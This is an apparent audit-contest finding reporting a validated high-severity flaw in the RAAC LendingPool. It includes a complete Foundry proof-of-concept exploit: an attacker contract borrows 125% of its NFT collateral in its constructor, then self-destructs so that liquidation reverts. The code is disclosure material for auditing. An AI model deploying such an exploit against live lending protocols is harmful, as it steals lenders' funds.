Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

A malicious borrower can run with part of the borrowed assets without getting liquidated

Summary

When a user borrows crvUSD tokens, he gets minted an equal amount of DebtToken. And at some point if the borrower gets liquidated these DebtTokens are burned from his account. Also it's important to note that this custom token doesn't allow transfers, so borrowers can't transfer them out to some other address and prevent the liquidation. However this is not always the case, more details in the below section.

Vulnerability Details

A malicious user can create a custom smart contract to borrow assets and then selfdestruct it and make profit from the difference of the deposited collateral and the borrowed amount. The behaviour of the selfdestruct opcode was changed with the implementation of EIP-6780 in the Dencun hardfork, which went live on 12th of March, 2024 (here can be seen all changes of the Dencun upgrade - EIP-7569). Quoting the EIP-6780: "SELFDESTRUCT will recover all funds to the target but not delete the account, except when called in the same transaction as creation". More details can be read in the link.

Consider the following scenario, Alice creates a custom smart contract that in it's constructor:

  1. Gets 1000 crvUSD tokens

  2. Mints RAACNFT to itself

  3. Deposits the NFT in the LendingPool (will have 1000 crvUSD as collateral)

  4. Borrows 1250 crvUSD (since liquidationThreshold is set to 80% in the LendingPool, for 1000 crvUSD worth of collateral user can borrow up to 1250 crvUSD), gets minted 1250 DebtTokens

  5. Transfers the borrowed tokens to Alice

  6. Selfdestructs himself

  7. Now when the attacker contract's position is tried to get liquidated the tx will revert, because it will try to burn from this address

Here is a POC:

  • I'm using Foundry for tests, in order to run the test:

  1. Install Foundry

  2. Run forge init --force in the terminal

  3. Paste the below file in the test folder and run forge test --mt testX -vvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console2} from "../lib/forge-std/src/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC721Holder} from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import {LendingPool} from "../contracts/core/pools/LendingPool/LendingPool.sol";
import {ILendingPool} from "../contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";
import {RToken} from "../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../contracts/core/tokens/DebtToken.sol";
import {RAACHousePrices} from "../contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "../contracts/core/tokens/RAACNFT.sol";
import {IRAACNFT} from "../contracts/interfaces/core/tokens/IRAACNFT.sol";
interface ICrvUSD {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function mint(address to, uint256 amount) external;
}
contract MockCrvUSD is IERC20, ERC20 {
constructor() ERC20("crvUSD", "CRVUSD") {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
contract Attack is ERC721Holder {
address alice;
ICrvUSD crvUSD;
ILendingPool lendingPool;
IRAACNFT raacNft;
constructor(address _alice, address _token, address pool, address nft) {
alice = _alice;
crvUSD = ICrvUSD(_token);
lendingPool = ILendingPool(pool);
raacNft = IRAACNFT(nft);
raacNft.setApprovalForAll(address(lendingPool), true);
crvUSD.mint(address(this), 1000e18);
crvUSD.approve(address(raacNft), type(uint256).max);
raacNft.mint(1, 1000e18);
lendingPool.depositNFT(1);
// liq. threshold in LendingPool is set to 80%, which allows to borrow up to 1250 crvUSD, in case of 1000 crvUSD worth collateral
lendingPool.borrow(1250e18);
crvUSD.transfer(alice, 1250e18);
selfdestruct(payable(alice));
}
}
contract Tester is Test {
LendingPool lendingPool;
MockCrvUSD crvUSD;
RToken rToken;
DebtToken debtToken;
RAACHousePrices housePrices;
RAACNFT nft;
Attack attackerContract;
uint256 initialPrimeRate = 1e26;
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address lender = makeAddr("lender");
function setUp() external {
vm.startPrank(owner);
crvUSD = new MockCrvUSD();
rToken = new RToken("RToken", "RT", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
housePrices = new RAACHousePrices(owner);
nft = new RAACNFT(address(crvUSD), address(housePrices), owner);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(nft),
address(housePrices),
initialPrimeRate
);
housePrices.setOracle(owner); // owner is set as oracle for simplicity
housePrices.setHousePrice(1, 1000e18); // tokenID = 1 will cost 1000e18 crvUSD
debtToken.setReservePool(address(lendingPool));
rToken.setReservePool(address(lendingPool));
vm.stopPrank();
// Lender provides liquidity
vm.startPrank(lender);
crvUSD.mint(lender, 2000e18);
crvUSD.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(2000e18);
vm.stopPrank();
}
function testX() public {
// Attack setup
vm.startPrank(alice);
attackerContract = new Attack(
alice,
address(crvUSD),
address(lendingPool),
address(nft)
);
vm.stopPrank();
// The contract is destroyed so DebtTokens can't be transfered in order to liquidate
assertEq(crvUSD.balanceOf(alice), 1250e18); // Alice just made 1250 - 1000 = 250 profit
assertEq(address(attackerContract).code.length, 0); // the attacker contract is destoryed
}
}

Impact

  • Impact: High, the report proves that Alice just made profit, the impact can be more severe if the collateral provided is larger amount

  • Likelihood: High, an incentive for attackers to steal assets

  • Overall: High

Tools Used

Manual Review

Recommendations

The best solution here is to not allow users to interact with smart contracts. This also means, the nft.safeTransferFrom function to be replaced with transferFrom instead

Updates

Lead Judging Commences

inallhonesty Lead Judge
9 months ago
inallhonesty Lead Judge
9 months ago
inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!